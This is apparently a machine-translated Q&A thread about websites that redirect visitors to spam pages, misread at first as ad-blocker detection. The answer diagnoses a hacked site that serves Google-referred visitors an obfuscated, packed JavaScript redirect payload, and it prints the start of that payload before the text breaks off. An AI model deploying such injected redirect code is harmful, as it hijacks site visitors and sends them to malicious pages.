我想几乎所有人都知道/使用过广告拦截器,有些人可能还知道那些要求您在进入其页面之前禁用广告拦截器的页面。
但是似乎也有一些网站不显示该页面,而是将您重定向到一些垃圾网站(色情网站、mfa 网站、Bing-serps 等)。当我第一次遇到这种情况时,我感到很困惑,以为我感染了病毒或类似的东西。
我能对这种行为做些什么吗?有没有“AdBlock Detector”拦截器?
例子页测试此行为。我不确定它是否适合您,因为直接访问他们的首页不会给我有关广告的消息。如果没有,也许您可以尝试通过此 Google 访问它搜索结果页面(应该是结果#2)。
(我不确定哪里是提问的正确地方,或者 Stack Overflow 是否更合适,如有必要请迁移它)
答案1
您看到的不是 AdBlock 检测器,而是一个被黑客入侵的网站,用于向来自 Google 的用户显示垃圾邮件。您获得的 HTML 是完全不同的东西。
普通的:
$ wget -qO- http://www.tutorials.de/swing-java2d-3d-swt-jface/267480-swt-tableviewer-labelprovider-problem.html | head -n3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" dir="ltr" lang="de" id="vbulletin_html">
<head>
使用 Google referer:
che@nok ~ $ wget -qO- --referer=http://www.google.at/ http://www.tutorials.de/swing-java2d-3d-swt-jface/267480-swt-tableviewer-labelprovider-problem.html | head -n3
<html><head></head><body><script type="text/javascript">var vbsp='5DFCF739';eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('t a=["\\z\\b\\c\\n\\e\\j\\b","\\k\\b\\c\\n\\e\\j\\b","\\A\\x\\b\\L\\f\\e\\p\\b\\k\\i","\\c\\d\\K\\M\\n\\N\\c\\p\\e\\o\\z","\\q\\d\\d\\J\\e\\b","\\i","\\A\\x\\f\\s\\c\\l\\i\\g","\\D\\F\\k\\f","\\G","\\r\\d\\q\\s\\c\\e\\d\\o","\\l\\c\\c\\f\\H\\g\\g\\j\\P\\Q\\e\\r\\b\\k\\c\\d\\p\\b\\B\\q\\d\\j\\g\\m\\d\\R\\o\\r\\d\\s\\m\\B\\f\\l\\f\\S\\e\\m\\i"];E y(u,C){t h=I O();h[a[1]](h[a[0]]()+T);t w=a[2]+h[a[3]]();v[a[4]]=u+a[5]+C+w+a[6]};y(a[7],a[8]);v[a[9]]=a[U]+V;',58,58,'||||||||||_0x987b|x65|x74|x6F|x69|x70|x2F|_0x414cx4|x3D|x6D|x73|x68|x64|x54|x6E|x72|x63|x6C|x61|var|_0x414cx2|document|_0x414cx5|x20|ipbcc|x67|x3B|x2E|_0x414cx3|x